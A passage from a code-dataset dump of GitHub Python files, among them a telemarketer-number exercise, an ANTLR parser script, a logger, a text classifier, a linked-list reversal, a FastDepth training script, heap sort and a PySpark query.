incoming_text.append(text[0])\n if text[1] not in outgoing_text:\n outgoing_text.append(text[1])\n \n \nfor call in calls:\n if call[1] not in incoming_call:\n incoming_call.append(call[1])\n \nmaster_list = set(incoming_text + outgoing_text + incoming_call)\nspammers = set()\nfor call in calls:\n if (call[0] not in master_list):\n spammers.add(call[0])\n \nprint(f\"These numbers could be telemarketers:\",*sorted(spammers),sep='\\n') \n\n\"\"\"\nBig O Notation Worst Case Scenario\n\nO(5 + 1n^3 + 1x^2 + 1y^2+ x(log(x)))\n\n\n\n5 represents the 5 valiables created in the algorithm (3 lists, two sets)\n\n1n^3 represents the first for loop iterating over texts. This item is cubed because\none must check if the item is not in incoming text or outgoing text and the worse case is the item \nas long as the CSV\n\nthe 1x^2 variables represent the loop iteration over calls. This item is squared because\nthe worst case scenario is the incoming call is just as long as the call csv\n\nthe 1y^2 variables represent the second loop iteration over calls. This item is squared because\nthe worst case scenario is the master list is just as long as the call csv\n\n\n\nxlog(x) is for the sorting function in the print statement\n\n\"\"\"","repo_name":"akniels/Data_Structures","sub_path":"Project_1/P0/Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"649743703","text":"import sys\nimport pickle as pk\nimport networkx as nx\nfrom antlr4 import *\nfrom EnquestesLexer import EnquestesLexer\nfrom EnquestesParser import EnquestesParser\nfrom antlr4.InputStream import InputStream\nfrom EnquestesVisitor import EnquestesVisitor\nfrom testDrawGraph import drawGraph\nfrom os import path\nif len(sys.argv) > 1:\n input_stream = FileStream(sys.argv[1])\nelse:\n input_stream = InputStream(input('? '))\n\nlexer = EnquestesLexer(input_stream)\ntoken_stream = CommonTokenStream(lexer)\nparser = EnquestesParser(token_stream)\ntree = parser.botGraph()\nvisitor = EnquestesVisitor()\nG = visitor.visit(tree)\nidEnquesta = visitor.getStartNode()\nnx.write_gpickle(G, \"../GeneratedData/GeneratedEnquestes/\"+idEnquesta+\".pickle\")\npathQuizzesIDs = \"../GeneratedData/0QuizzesIDs.pickle\"\nif not path.exists(pathQuizzesIDs):\n pickleOut = open(pathQuizzesIDs, \"wb\")\n quizzesIDs = {idEnquesta}\n pk.dump(quizzesIDs, pickleOut)\n pickleOut.close()\nelse:\n pickleQuizzesIDs = open(pathQuizzesIDs, \"rb\")\n quizzesIDs = pk.load(pickleQuizzesIDs)\n pickleQuizzesIDs.close()\n pickleOut = open(pathQuizzesIDs, \"wb\")\n quizzesIDs.add(idEnquesta)\n pk.dump(quizzesIDs, pickleOut)\n pickleOut.close()\ndrawGraph(G, idEnquesta)\n","repo_name":"dieg666/graphBot","sub_path":"cl/testEnquestes.py","file_name":"testEnquestes.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71349016467","text":"\nimport sys\nimport logging\nfrom os import environ\n\nfrom logging.handlers import RotatingFileHandler\n\nCRITICAL = 50\nFATAL = CRITICAL\nERROR = 40\nWARNING = 30\nWARN = WARNING\nINFO = 20\nDEBUG = 10\nNOTSET = 0\n\n_levelToName = {\n CRITICAL: 'CRITICAL',\n ERROR: 'ERROR',\n WARNING: 'WARNING',\n INFO: 'INFO',\n DEBUG: 'DEBUG',\n NOTSET: 'NOTSET',\n }\n\n_nameToLevel = {\n 'CRITICAL': CRITICAL,\n 'ERROR': ERROR,\n 'WARN': WARNING,\n 'WARNING': WARNING,\n 'INFO': INFO,\n 'DEBUG': DEBUG,\n 'NOTSET': NOTSET,\n }\n\nclass alogger:\n\n @staticmethod\n def getLogger(name: str, cfg=None, default_level=None):\n _log_options = { # default log options\n \"log_level\": default_level if default_level is not None else \"debug\",\n # enable logging by default if configuration or default log level is set\n \"enabled\": cfg is not None or default_level is not None,\n # Output log to tty if logging is possible\n \"tty\": True and (cfg is not None or default_level is not None)\n }\n\n flask_reload = True\n log = logging.getLogger(name)\n\n if cfg is not None:\n alogger.setLogLevel(log, cfg.get(\"logging.log_level\", default=_log_options[\"log_level\"], check_type=str))\n flask_reload = not cfg.get(\"server.debug.external_debug\", default=not flask_reload, check_type=bool)\n _log_options[\"file\"] = cfg.get(\"logging.file\", default=\"\", check_type=str)\n else:\n # set log level for the instance from default one passed in case, if no configuration available\n _log_options[\"log_level\"] is not None and alogger.setLogLevel(log, _log_options[\"log_level\"])\n\n # hack, print logs only for reloaded thread\n if flask_reload and environ.get('WERKZEUG_RUN_MAIN') != 'true':\n _log_options[\"enabled\"] = False\n\n for handler in alogger.getHandlers(_log_options):\n log.addHandler(handler)\n\n return log\n\n @staticmethod\n def getHandlers(options: dict):\n new_format = logging.Formatter('%(levelname)s %(asctime)s %(filename)s:%(lineno)d - %(message)s')\n handlers = []\n\n # return Null handler if logging is not allowed\n if \"enabled\" in options and not options[\"enabled\"]:\n handlers.append(logging.NullHandler())\n return handlers\n\n # output error handler\n if \"tty\" in options and options[\"tty\"]:\n handlers.append(logging.StreamHandler(sys.stderr))\n\n if \"file\" in options and options[\"file\"].strip() != \"\":\n # uncomment to allow file output handler\n handlers.append(RotatingFileHandler(options[\"file\"], \"a\"))\n\n # assign same format output to handlers\n for item in handlers:\n item.setFormatter(new_format)\n\n return handlers\n\n @staticmethod\n def setLogLevel(log, level):\n level = level.upper().strip()\n if level in _nameToLevel:\n log.setLevel(_nameToLevel[level])\n else:\n log.setLevel(NOTSET)\n\n\n","repo_name":"hapylestat/anime-library","sub_path":"backend/alist/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74653347665","text":"import re\nimport pandas as pd\nfrom nltk.corpus import stopwords\nfrom sklearn.feature_extraction.text import CountVectorizer\n#import spacy\n\n\nclass Classifier:\n stop_words = stopwords.words('russian', 'english')\n stop_words.extend(\n ['the', 'one', 'two', 'of', 'you', 'your', 'in', 'game', 'to',\n 'is', 'for', 'on', 'with', 'it', 'this', 'will', 'by', 'that',\n 'if', 'be', 'or', 'as', 'an', 'are', 'all', 'but', 'about', 'can',\n 'so', 'play', 'story', 'novel', 'from', 'out', 'he', 'she', 'not',\n 'they', 'their', 'what', 'up', 'have', 'her', 'more', 'demo',\n 'at', 'who', 'fill', 'there', 'was', 'we', 'please', 'new', 'and',\n 'features', 'music', 'content', 'version', 'me', 'my', 'like',\n 'some', 'how', 'characters', 'his', 'get', 'visual', 'other', 'll',\n 'also', 'into', 'made', 'us', 'only', 'has', 'our', 'time', 'find',\n 'life', 'world', 'make', 'just', 'any', 'them', 'when', 'do', 'now',\n 'help', 're', 'free', 'endings', 'no', 'first', 'here', 'want',\n 'through', 'been', 'available', 'after', 'where', 'full', 'different',\n 'follow', 'may', 'credits', 'own', 'll', 'character', 'even', 'him',\n 'than', 'way', 'being', 'games', 'each', 'warning', 'over',\n 'contains', 'see', 'day', 'words', 'which', 'around', 'something',\n 'know', 'would', 'take', 'right', 've', 'well', 'much', 'while',\n 'work', 'project', 'three', 'best', 'still', 'don', 'jam', 'end',\n 'many', 'enjoy', 'join', 'playing', 'really', 'every', 'little',\n 'most', 'things', 'download', 'note', 'come', 'keep', 'very', 'its',\n 'feel', 'hope', 'ending', 'main', ])\n #en_nlp = spacy.load(\"en_core_web_sm\")\n #ru_nlp = spacy.load(\"ru_core_news_sm\")\n en_letter = re.compile(r'[a-z]')\n ru_letter = re.compile(r'[а-я]')\n\n def __init__(self, game_info=None):\n self.pd_texts = game_info\n self.pd_texts['paper_text'] = \\\n self.pd_texts['paper_text'].apply(lambda x: self.clean_up_text(x))\n\n def get_tags(self):\n cv = CountVectorizer()\n vocab = cv.fit(self.pd_texts['paper_text'].values)\n a = pd.DataFrame(data=cv.transform(self.pd_texts['paper_text']).toarray(),\n columns=vocab.get_feature_names())\n # сделать приведение к начальной форме\n # попробовать вытащить биграммы как теги\n top_tags = a.sum(axis=0).sort_values(ascending=False)[:40].index\n tag_to_texts = dict()\n for tag in top_tags:\n texts = [one['link'] for index, one in self.pd_texts.iterrows()\n if tag in one['paper_text']]\n tag_to_texts[tag] = texts\n return tag_to_texts\n\n def clean_up_text(self, text):\n doc = re.sub(\"[\\(\\[].*?[\\)\\]]\", \"\", text) # Remove the \"written by\" caption\n doc = doc.replace(u'\\n', u'').replace(u'\\r', u'')\n doc = re.sub(r'[^\\s\\w]', '', doc)\n doc = re.sub('\\s+', ' ', doc)\n doc = doc.lower().split()\n doc = ' '.join([t for t in doc\n if not t in Classifier.stop_words and len(t) > 1 and not t.isdigit()])\n return doc\n\n @staticmethod\n def lemmatize(word):\n if Classifier.en_letter.search(word):\n return Classifier.en_nlp(word)\n if Classifier.ru_letter.search(word):\n return Classifier.ru_nlp(word)\n return word\n","repo_name":"AlexJackalope/novels-search-project","sub_path":"Classifier.py","file_name":"Classifier.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"910606450","text":"# Definition for singly-linked list.\n\n\n# https://leetcode.com/problems/reverse-linked-list/\n\n\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution(object):\n def reverseList(self, head):\n \n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \n helpful tutorial video for recursive solution: https://www.youtube.com/watch?v=MRe3UsRadKw\n \n \"\"\"\n # Recursive solution\n\n if not head:\n return None\n\n # Make variable to maintain new head...initially set to head\n\n newHead = head\n\n # If head.next is not Null (still exists a subproblem) then we reverse List\n if head and head.next:\n # call reverseList with head.next so you can find the end of the linkedlist and make that the new head!!! This is how we recursively traverse the list until we found the last node.\n newHead = self.reverseList(head.next)\n \n # confusing but explanation is, we are at end of the linked list so head.next.next is now Null which means the pointer pointing to Null can be manipuated and turned to point at curr instead -- effectively reversing the linked list.\n head.next.next = head\n \n # now set head.next to Null \n # go back to the start of the callstack if head and head.next:\n # If head happens to be the first node in the list, we need to reverse the next pointer to Null indicating this is the new end of LinkedList that points to null.\n head.next = None\n \n return newHead\n\n\n # -> 1 -> 2 -> 3\n \n \n \n ''' \n # Iterative Solution\n \n if not head:\n return None\n \n prev = None\n cur = head\n \n while cur:\n # saving next node so we don't lose it when we move cur's pointer...\n saveNext = cur.next\n \n # switching the cur.next's pointer to the one before it (not afraid to lose cur.next bc we already saved it)\n cur.next = prev\n \n # incrementing prev to cur (moving forward by 1)\n prev = cur\n \n # incrementing cur also forward by 1\n cur = saveNext\n return prev\n \n # gif animation for clarity: https://media.geeksforgeeks.org/wp-content/cdn-uploads/RGIF2.gif\n \n '''\n","repo_name":"MadamHippo/Python-leetcode","sub_path":"206-reverse-linked-list.py","file_name":"206-reverse-linked-list.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73173294227","text":"import uuid\n\n\nasync def test_get_user_by_id(client, create_user_in_database, get_user_from_database):\n user_data = {\n \"user_id\": uuid.uuid4(),\n \"name\": \"Baby_get\",\n \"surname\": \"Bone_get\",\n \"email\": \"babyboneget@gmail.com\",\n \"is_active\": True,\n }\n\n await create_user_in_database(**user_data)\n resp = client.get(f'/user/?user_id={user_data[\"user_id\"]}')\n resp_json = resp.json()\n user_from_db = await get_user_from_database(user_data[\"user_id\"])\n user_from_db = user_from_db[0]\n user_data[\"user_id\"] = str(user_data[\"user_id\"])\n\n assert resp.status_code == 200\n assert user_data == resp_json\n assert str(user_from_db[\"user_id\"]) == user_data[\"user_id\"]\n assert user_from_db[\"name\"] == user_data[\"name\"]\n assert user_from_db[\"surname\"] == user_data[\"surname\"]\n assert user_from_db[\"email\"] == user_data[\"email\"]\n assert user_from_db[\"is_active\"] == user_data[\"is_active\"]\n","repo_name":"CRPNTRPINK/CodeHub","sub_path":"tests/test_handlers/test_get_user_by_id_handler.py","file_name":"test_get_user_by_id_handler.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28428590908","text":"import csv\nimport os\nimport time\n\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn.parallel\nimport torch.optim\nfrom Data import *\n\nimport criteria\n\ncudnn.benchmark = True\n\nimport models\nfrom metrics import AverageMeter, Result\nfrom utils import *\n\n\nargs = parse_command()\nprint(args)\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu # Set the GPU.\n\nfieldnames = ['rmse', 'mae', 'delta1', 'absrel',\n 'lg10', 'mse', 'delta2', 'delta3', 'data_time', 'gpu_time']\nbest_fieldnames = ['best_epoch'] + fieldnames\nbest_result = Result()\nbest_result.set_to_worst()\n\n\n##################################################################\n\n\ndef create_data_loaders(args):\n # Data loading code\n print(\"=> creating data loaders ...\")\n home_path = os.path.abspath(os.path.join(os.path.dirname(__file__)))\n traindir = os.path.join(home_path, 'data', args.data, 'train')\n valdir = os.path.join(home_path, 'data', args.data, 'val')\n train_loader = None\n\n max_depth = args.max_depth if args.max_depth >= 0.0 else np.inf\n\n if args.data == 'nyudepthv2':\n if not args.evaluate:\n train_dataset = NYU(traindir, split='train', modality=args.modality)\n val_dataset = NYU(valdir, split='val', modality=args.modality)\n else:\n raise RuntimeError('Dataset not found.' + 'The dataset must be either of nyudepthv2 or kitti.')\n\n # set batch size to be 1 for validation\n val_loader = torch.utils.data.DataLoader(val_dataset, batch_size=1, shuffle=False, num_workers=args.workers,\n pin_memory=True)\n\n # put construction of train loader here, for those who are interested in testing only\n if not args.evaluate:\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=args.batch_size, shuffle=True,\n num_workers=args.workers, pin_memory=True, sampler=None,\n worker_init_fn=lambda work_id: np.random.seed(work_id))\n # worker_init_fn ensures different sampling patterns for each data loading thread\n\n print(\"=> data loaders created.\")\n return train_loader, val_loader\n\n\n####################################################################\ndef main():\n global args, best_result, output_directory, train_csv, test_csv\n\n # evaluation mode\n if args.evaluate:\n\n # Data loading code\n print(\"=> creating data loaders...\")\n home_path = os.path.abspath(os.path.join(os.path.dirname(__file__)))\n valdir = os.path.join(home_path, 'data', args.data, 'val')\n\n if args.data == 'nyudepthv2':\n val_dataset = NYU(valdir, split='val', modality=args.modality)\n else:\n raise RuntimeError('Dataset not found.')\n\n # set batch size to be 1 for validation\n val_loader = torch.utils.data.DataLoader(val_dataset,\n batch_size=1, shuffle=False, num_workers=args.workers, pin_memory=True)\n print(\"=> data loaders created.\")\n\n assert os.path.isfile(args.evaluate), \\\n \"=> no model found at '{}'\".format(args.evaluate)\n print(\"=> loading model '{}'\".format(args.evaluate))\n checkpoint = torch.load(args.evaluate)\n if type(checkpoint) is dict:\n args.start_epoch = checkpoint['epoch']\n best_result = checkpoint['best_result']\n model = checkpoint['model']\n print(\"=> loaded best model (epoch {})\".format(checkpoint['epoch']))\n else:\n model = checkpoint\n args.start_epoch = 0\n output_directory = os.path.dirname('/home/jetson/FastDepth')\n validate(val_loader, model, args.start_epoch, write_to_file=False)\n return\n\n start_epoch = 0\n if args.train:\n train_loader, val_loader = create_data_loaders(args)\n print(\"=> creating Model ({}-{}) ...\".format(args.arch, args.decoder))\n\n model = models.MobileNetSkipAdd(output_size=train_loader.dataset.output_size)\n print(\"=> model created.\")\n optimizer = torch.optim.SGD(model.parameters(), args.lr, momentum=args.momentum, weight_decay=args.weight_decay)\n\n # model = torch.nn.DataParallel(model).cuda() # for multi-gpu training\n model = model.cuda()\n\n # define loss function (criterion) and optimizer\n if args.criterion == 'l2':\n criterion = criteria.MaskedMSELoss().cuda()\n elif args.criterion == 'l1':\n criterion = criteria.MaskedL1Loss().cuda()\n\n # create results folder, if not already exists\n output_directory = get_output_directory(args)\n if not os.path.exists(output_directory):\n os.makedirs(output_directory)\n train_csv = os.path.join(output_directory, 'train.csv')\n test_csv = os.path.join(output_directory, 'test.csv')\n best_txt = os.path.join(output_directory, 'best.txt')\n\n # create new csv files with only header\n if not args.resume:\n with open(train_csv, 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n with open(test_csv, 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n\n for epoch in range(start_epoch, args.epochs):\n adjust_learning_rate(optimizer, epoch, args.lr)\n train(train_loader, model, criterion, optimizer, epoch) # train for one epoch\n result, img_merge = validate(val_loader, model, epoch) # evaluate on validation set\n\n # remember best rmse and save checkpoint\n is_best = result.rmse < best_result.rmse\n if is_best:\n best_result = result\n with open(best_txt, 'w') as txtfile:\n txtfile.write(\n \"epoch={}\\nmse={:.3f}\\nrmse={:.3f}\\nabsrel={:.3f}\\nlg10={:.3f}\\nmae={:.3f}\\ndelta1={:.3f}\\nt_gpu={:.4f}\\n\".\n format(epoch, result.mse, result.rmse, result.absrel, result.lg10, result.mae,\n result.delta1,\n result.gpu_time))\n if img_merge is not None:\n img_filename = output_directory + '/comparison_best.png'\n save_image(img_merge, img_filename)\n\n save_checkpoint({\n 'args': args,\n 'epoch': epoch,\n 'arch': args.arch,\n 'model': model,\n 'best_result': best_result,\n 'optimizer': optimizer,\n }, is_best, epoch, output_directory)\n\n\ndef validate(val_loader, model, epoch, write_to_file=True):\n average_meter = AverageMeter()\n model.eval() # switch to evaluate mode\n end = time.time()\n eval_file = output_directory + '/FastDepth/evaluation.csv'\n f = open(eval_file, \"w+\")\n f.write(\"Max_Error,Depth,RMSE,GPU_TIME,Number_Of_Frame\\r\\n\")\n for i, (input, target) in enumerate(val_loader):\n input, target = input.cuda(), target.cuda()\n # torch.cuda.synchronize()\n data_time = time.time() - end\n\n # compute output\n end = time.time()\n with torch.no_grad():\n pred = model(input)\n # torch.cuda.synchronize()\n gpu_time = time.time() - end\n\n abs_err = (target.data - pred.data).abs().cpu()\n max_err_ind = np.unravel_index(np.argmax(abs_err, axis=None), abs_err.shape)\n\n max_err_depth = target.data[max_err_ind]\n max_err = abs_err[max_err_ind]\n\n\n # measure accuracy and record loss\n result = Result()\n result.evaluate(pred.data, target.data)\n average_meter.update(result, gpu_time, data_time, input.size(0))\n end = time.time()\n\n f.write(f'{max_err},{max_err_depth},{result.rmse:.2f},{gpu_time},{i+1}\\r\\n')\n # save 8 images for visualization\n skip = 50\n\n if args.modality == 'rgb':\n rgb = input\n\n if i == 0:\n img_merge = merge_into_row_with_gt(rgb, target, pred, (target - pred).abs())\n elif (i < 8 * skip) and (i % skip == 0):\n row = merge_into_row_with_gt(rgb, target, pred, (target - pred).abs())\n img_merge = add_row(img_merge, row)\n elif i == 8 * skip:\n filename = output_directory + '/comparison_' + str(epoch) + '.png'\n save_image(img_merge, filename)\n\n if (i + 1) % args.print_freq == 0:\n print('Test: [{0}/{1}]\\t'\n 't_GPU={gpu_time:.3f}({average.gpu_time:.3f})\\n\\t'\n 'RMSE={result.rmse:.2f}({average.rmse:.2f}) '\n 'MAE={result.mae:.2f}({average.mae:.2f}) '\n 'Delta1={result.delta1:.3f}({average.delta1:.3f}) '\n 'REL={result.absrel:.3f}({average.absrel:.3f}) '\n 'Lg10={result.lg10:.3f}({average.lg10:.3f}) '.format(\n i + 1, len(val_loader), gpu_time=gpu_time, result=result, average=average_meter.average()))\n f.close()\n avg = average_meter.average()\n\n print('\\n*\\n'\n 'RMSE={average.rmse:.3f}\\n'\n 'MAE={average.mae:.3f}\\n'\n 'Delta1={average.delta1:.3f}\\n'\n 'REL={average.absrel:.3f}\\n'\n 'Lg10={average.lg10:.3f}\\n'\n 't_GPU={time:.3f}\\n'.format(\n average=avg, time=avg.gpu_time))\n\n if write_to_file:\n with open(test_csv, 'a') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writerow({'mse': avg.mse, 'rmse': avg.rmse, 'absrel': avg.absrel, 'lg10': avg.lg10,\n 'mae': avg.mae, 'delta1': avg.delta1, 'delta2': avg.delta2, 'delta3': avg.delta3,\n 'data_time': avg.data_time, 'gpu_time': avg.gpu_time})\n return avg, img_merge\n\n\ndef train(train_loader, model, criterion, optimizer, epoch):\n average_meter = AverageMeter()\n model.train() # switch to train mode\n end = time.time()\n for i, (input, target) in enumerate(train_loader):\n\n input, target = input.cuda(), target.cuda()\n torch.cuda.synchronize()\n data_time = time.time() - end\n\n # compute pred\n end = time.time()\n pred = model(input)\n loss = criterion(pred, target)\n optimizer.zero_grad()\n loss.backward() # compute gradient and do SGD step\n optimizer.step()\n torch.cuda.synchronize()\n gpu_time = time.time() - end\n\n # measure accuracy and record loss\n result = Result()\n result.evaluate(pred.data, target.data)\n\n average_meter.update(result, gpu_time, data_time, input.size(0))\n end = time.time()\n\n if (i + 1) % args.print_freq == 0:\n print('=> output: {}'.format(output_directory))\n print('Train Epoch: {0} [{1}/{2}]\\t'\n 't_Data={data_time:.3f}({average.data_time:.3f}) '\n 't_GPU={gpu_time:.3f}({average.gpu_time:.3f})\\n\\t'\n 'RMSE={result.rmse:.2f}({average.rmse:.2f}) '\n 'MAE={result.mae:.2f}({average.mae:.2f}) '\n 'Delta1={result.delta1:.3f}({average.delta1:.3f}) '\n 'REL={result.absrel:.3f}({average.absrel:.3f}) '\n 'Lg10={result.lg10:.3f}({average.lg10:.3f}) '.format(\n epoch, i + 1, len(train_loader), data_time=data_time,\n gpu_time=gpu_time, result=result, average=average_meter.average()))\n\n avg = average_meter.average()\n with open(train_csv, 'a') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writerow({'mse': avg.mse, 'rmse': avg.rmse, 'absrel': avg.absrel, 'lg10': avg.lg10,\n 'mae': avg.mae, 'delta1': avg.delta1, 'delta2': avg.delta2, 'delta3': avg.delta3,\n 'gpu_time': avg.gpu_time, 'data_time': avg.data_time})\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"tau-adl/FastDepth","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11876,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"17620001504","text":"def heapify(arr, n, i): # complexity -> Log(n)\n largest = i\n l = 2*i+1\n r = 2*i+2\n\n if l < n and arr[l] > arr[i]:\n largest = l\n\n if r < n and arr[largest] < arr[r]:\n largest = r\n\n if largest != i:\n arr[largest], arr[i] = arr[i], arr[largest]\n heapify(arr, n, largest)\n\ndef heapSort(arr): # complexity -> nLog(n)\n\n n = len(arr)\n for i in range(n-1, -1, -1):\n heapify(arr, n, i)\n\n for i in range(n-1, -1, -1):\n arr[0], arr[i] = arr[i], arr[0]\n heapify(arr, i, 0)\n\n return arr\n\nprint(heapSort([3,5,1,2,8,9,4,0]))\n","repo_name":"poojaKarande13/ProgramingPractice","sub_path":"python/heapSort.py","file_name":"heapSort.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9541334325","text":"import time\nimport pandas as pd\nimport pyspark.sql.functions as F\nfrom pyspark import SparkContext, SparkConf\nfrom pyspark.sql import SparkSession, SQLContext, HiveContext, Row\n\nspark = SparkSession.builder \\\n .master(\"local\") \\\n .appName(\"example\") \\\n .config(\"spark.debug.maxToStringFields\", \"100\") \\\n .config(\"spark.sql.shuffle.partitions\", \"400\") \\\n .config(\"spark.default.parallelism\", \"600\") \\\n .config(\"spark.sql.auto.repartition\", \"true\") \\\n .config(\"spark.sql.execution.arrow.enabled\", \"true\") \\\n .enableHiveSupport() \\\n .getOrCreate()\n\nstarttime = time.time()\n\ninputFile01 = 'hdfs://localhost:9000/result/form_par'\ninputs01 = spark.read.format('parquet').load(inputFile01)\ninputs01.createOrReplaceTempView(\"tweets01\")\nendtime = time.time()\nprint(\"1: \", endtime - starttime)\n# testDF['Age'], testDF['Sex'], testDF['HosRegisterCode']\n# testDF[\"CertificateCode\"], testDF['Desc'], testDF['AllName'], testDF[\"Name\"],\nstarttime = time.time()\ntestDF = spark.sql(\n \"\"\"SELECT CertificateCode, Desc, AllName, Name, Age, Sex, HosRegisterCode FROM tweets01 WHERE tweets01.Name= '柳三女'\"\"\") \\\n .withColumn(\"id\", F.monotonically_increasing_id())\nendtime = time.time()\nprint(\"2: \", endtime - starttime)\n\nstart = time.time()\ntestDF = testDF.select('*').where((testDF.id >= 0) & (testDF.id < 20))\nendt = time.time()\nprint('lll: ', endt - start)\n\nstart = time.time()\nddl = testDF.toPandas()\nend = time.time()\nprint(\"ddl: \", end - start)\n\nstart = time.time()\n\nlist_persons = map(lambda row: row.asDict(), testDF.collect())\n\nend = time.time()\nprint(type(list_persons))\nprint(list_persons)\nprint(\"ddl: \", end - start)\n\n# starttime = time.time()\njson_list = []\nfor a, b, c, d, e, f, g in zip(testDF[\"CertificateCode\"], testDF['Desc'], testDF['AllName'], testDF[\"Name\"], testDF['Age'], testDF['Sex'], testDF['HosRegisterCode']):\n json_dict = {'CertificateCode': a, 'Desc': b, 'AllName': c, 'Name': d, 'Age': e, 'Sex': f,\n 'HosRegisterCode': g}\n json_list.append(json_dict)\n\nprint(type(json_list))\nprint(json_list)\n# endtime = time.time()\n# print(\"3: \", endtime - starttime)\n# print(json_list)\n# print(tst)\n","repo_name":"djejjd/BackupCode","sub_path":"clean/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5367794026","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # ML Pipeline Preparation\n# Follow the instructions below to help you create your ML pipeline.\n# ### 1. Import libraries and load data from database.\n# - Import Python libraries\n# - Load dataset from database with [`read_sql_table`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_sql_table.html)\n# - Define feature and target variables X and Y\n\n\n#%%\nimport nltk\n#nltk.download(['stopwords', 'punkt', 'wordnet', 'averaged_perceptron_tagger',\n# 'maxent_ne_chunker', 'words', 'word2vec_sample'])\n\n# import libraries\nimport dill as pickle\nimport re\nimport numpy as np\nimport pandas as pd\nimport time\n\nfrom sqlalchemy import create_engine\n\nimport nltk\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.stem.porter import PorterStemmer\n\nfrom nltk import ne_chunk, pos_tag\n\nfrom sklearn import svm\nfrom sklearn.linear_model import (LogisticRegression,\n RidgeClassifier)\n\nfrom sklearn.ensemble import (RandomForestClassifier,\n BaggingClassifier,\n RandomTreesEmbedding\n )\n\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.multiclass import OneVsRestClassifier\n\n\nfrom sklearn.naive_bayes import GaussianNB, BernoulliNB\n\nfrom sklearn.model_selection import train_test_split, KFold, GridSearchCV, cross_val_score\nfrom sklearn.preprocessing import PolynomialFeatures\n\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nfrom sklearn.preprocessing import (StandardScaler, RobustScaler, Normalizer,\n FunctionTransformer, QuantileTransformer,\n PowerTransformer, OneHotEncoder)\n\nfrom sklearn.compose import ColumnTransformer\n\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nfrom sklearn.feature_extraction.text import (CountVectorizer,\n TfidfTransformer,\n HashingVectorizer\n )\n\nfrom sklearn.feature_selection import chi2, SelectKBest\nfrom sklearn.decomposition import TruncatedSVD\n\nfrom sklearn.neighbors import (KNeighborsClassifier,\n NeighborhoodComponentsAnalysis)\n\nfrom sklearn.metrics import (confusion_matrix, f1_score, precision_score,\n recall_score, classification_report,\n roc_auc_score,accuracy_score, make_scorer)\n\nfrom sklearn.utils import resample\n\nfrom models.custom_transform import (StartingVerbExtractor,\n KeywordSearch,\n EntityCount,\n GetVerbNounCount,\n tokenize,\n Dense,\n SentenceVector\n )\n\n\n\n# In[3]:\n\n\npd.options.display.max_columns = 60\n\ndef drop_class(Y):\n \"\"\"\n Checks distribution of classes in each category.\n Drops class(es) (inplace) where there is less than 2 classes present.\n\n For example, if one of the target classes contain only ones of zeros,\n that target class will be removed.\n\n This functions does not return anything.\n \"\"\"\n # extract category which has less than two classes\n print('Dropping class(es):', Y.nunique()[Y.nunique() < 2].index.tolist())\n # drop category, `child_alone`\n Y.drop(Y.nunique()[Y.nunique() < 2].index.tolist(), axis=1, inplace=True)\n\n# In[4]:\ndef load_data(database_filepath, n_sample=5000):\n \"\"\"\n Import data from database into a DataFrame. Split DataFrame into\n features and predictors, `X` and `Y`. Additionally, extract the names\n of target categories.\n\n Preprocess data.\n\n Params:\n -------\n database_filepath: file path of database\n\n n_sample: int, optional\n Number of samples to draw from data. If set to `0`, then entire\n data is used.\n\n Returns:\n -------\n tuple(X, Y, category_names)\n pd.DataFrame of features and predictors, `X` and `Y`, respectively.\n List of target category names\n \"\"\"\n\n engine = create_engine(f'sqlite:///{database_filepath}')\n\n # extract directory name\n dir_ = re.findall(\".*/\", database_filepath)\n\n # extract table name by stripping away directory name\n table_name = database_filepath.replace('.db', '').replace(dir_[0], \"\")\n\n df = pd.read_sql_table(f'{table_name}', engine)\n\n if n_sample > 0:\n # Sample data\n df = df.sample(n_sample)\n\n # reset index\n df.reset_index(drop=False, inplace=True)\n\n # DROP ROWS/COLUMN\n # where sum across entire row is less than 1\n null_idx = np.where(df.loc[:, 'related':].sum(axis=1) < 1)[0]\n # drop rows which contain all null values\n df.drop(null_idx, axis=0, inplace=True)\n\n # explore `related` feature where its labeled as a `2`\n related_twos = df[df['related'] == 2]\n df.drop(index=related_twos.index, inplace=True)\n\n # reset index\n df = df.reset_index(drop=True)\n\n # define features and predictors\n X = df.loc[:, 'message']\n 